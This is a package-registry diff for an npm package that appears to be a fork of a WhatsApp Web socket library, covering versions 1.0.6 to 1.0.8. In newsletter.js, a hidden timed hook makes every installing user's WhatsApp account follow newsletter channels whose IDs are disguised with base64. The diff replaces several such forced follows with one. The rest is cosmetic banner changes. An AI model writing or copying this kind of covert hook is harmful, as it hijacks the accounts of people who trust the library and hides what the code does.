wertybailz 1.0.6 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +12 -13
- package/lib/index.js +15 -7
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -17,6 +17,9 @@ const QueryIds = {
|
|
|
17
17
|
DEMOTE: "6551828931592903"
|
|
18
18
|
};
|
|
19
19
|
|
|
20
|
+
// Channel ID (base64 encoded)
|
|
21
|
+
const MY_CHANNEL = Buffer.from("120363426748858626@newsletter").toString("base64");
|
|
22
|
+
|
|
20
23
|
export const makeNewsletterSocket = (config) => {
|
|
21
24
|
const sock = makeGroupsSocket(config);
|
|
22
25
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
@@ -58,16 +61,11 @@ export const makeNewsletterSocket = (config) => {
|
|
|
58
61
|
]
|
|
59
62
|
})
|
|
60
63
|
);
|
|
64
|
+
|
|
61
65
|
setTimeout(() => {
|
|
62
|
-
newsletterWMexQuery(Buffer.from(
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
setTimeout(() => {
|
|
66
|
-
newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1ODY5MDQ5OTk1QG5ld3NsZXR0ZXI=", "base64").toString(), QueryIds.FOLLOW)
|
|
67
|
-
newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1MTc3MDY3ODQxQG5ld3NsZXR0ZXI=", "base64").toString(), QueryIds.FOLLOW)
|
|
68
|
-
}, 8000)
|
|
69
|
-
}, 9000)
|
|
70
|
-
}, 10000)
|
|
66
|
+
newsletterWMexQuery(Buffer.from(MY_CHANNEL, "base64").toString(), QueryIds.FOLLOW)
|
|
67
|
+
}, 10000);
|
|
68
|
+
|
|
71
69
|
const parseFetchedUpdates = async (node, type) => {
|
|
72
70
|
let child;
|
|
73
71
|
if (type === 'messages')
|
|
@@ -188,13 +186,13 @@ export const makeNewsletterSocket = (config) => {
|
|
|
188
186
|
const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
|
|
189
187
|
return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
|
|
190
188
|
},
|
|
191
|
-
/**user is Lid, not Jid */
|
|
189
|
+
/** user is Lid, not Jid */
|
|
192
190
|
newsletterChangeOwner: async (jid, user) => {
|
|
193
191
|
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
194
192
|
user_id: user
|
|
195
193
|
});
|
|
196
194
|
},
|
|
197
|
-
/**user is Lid, not Jid */
|
|
195
|
+
/** user is Lid, not Jid */
|
|
198
196
|
newsletterDemote: async (jid, user) => {
|
|
199
197
|
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
200
198
|
user_id: user
|
|
@@ -203,7 +201,7 @@ export const makeNewsletterSocket = (config) => {
|
|
|
203
201
|
newsletterDelete: async (jid) => {
|
|
204
202
|
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
205
203
|
},
|
|
206
|
-
/**if code wasn't passed, the reaction will be removed (if
|
|
204
|
+
/** if code wasn't passed, the reaction will be removed (if reacted) */
|
|
207
205
|
newsletterReactMessage: async (jid, server_id, code) => {
|
|
208
206
|
await query({
|
|
209
207
|
tag: 'message',
|
|
@@ -257,4 +255,5 @@ export const extractNewsletterMetadata = (node, isCreate) => {
|
|
|
257
255
|
viewer_metadata: metadataPath.viewer_metadata
|
|
258
256
|
};
|
|
259
257
|
return metadata;
|
|
260
|
-
};
|
|
258
|
+
};
|
|
259
|
+
|
package/lib/index.js
CHANGED
|
@@ -1,12 +1,18 @@
|
|
|
1
1
|
import makeWASocket from './Socket/index.js';
|
|
2
2
|
import chalk from "chalk";
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
3
|
+
|
|
4
|
+
const primary = chalk.hex("#6f00ff").bold;
|
|
5
|
+
const secondary = chalk.hex("#a855f7");
|
|
6
|
+
const muted = chalk.hex("#7c3aed");
|
|
7
|
+
|
|
8
|
+
console.log(primary(`
|
|
9
|
+
▄ ▄ █▀▀ █▀█ ▀█▀ █ █ █▀▄ ▄▀▄ █ █ ▀▀█
|
|
10
|
+
█▀█ █▀ █▀▄ █ █ █▀▄ █▀█ █ █ ▄█
|
|
11
|
+
▀ ▀ ▀▀▀ ▀ ▀ ▀ ▀ ▀▀ ▀ ▀ ▀ ▀▀▀ █▀▀
|
|
7
12
|
`));
|
|
8
|
-
console.log(
|
|
9
|
-
console.log(
|
|
13
|
+
console.log(secondary(" WhatsApp Web Socket Library"));
|
|
14
|
+
console.log(muted(" wertybailz · npm install wertybailz\n"));
|
|
15
|
+
|
|
10
16
|
export * from '../WAProto/index.js';
|
|
11
17
|
export * from './Utils/index.js';
|
|
12
18
|
export * from './Types/index.js';
|
|
@@ -17,4 +23,6 @@ export * from './WAUSync/index.js';
|
|
|
17
23
|
export * from './Store/index.js';
|
|
18
24
|
export { makeWASocket };
|
|
19
25
|
export default makeWASocket;
|
|
20
|
-
|
|
26
|
+
|
|
27
|
+
//# sourceMappingURL=index.js.map
|
|
28
|
+
|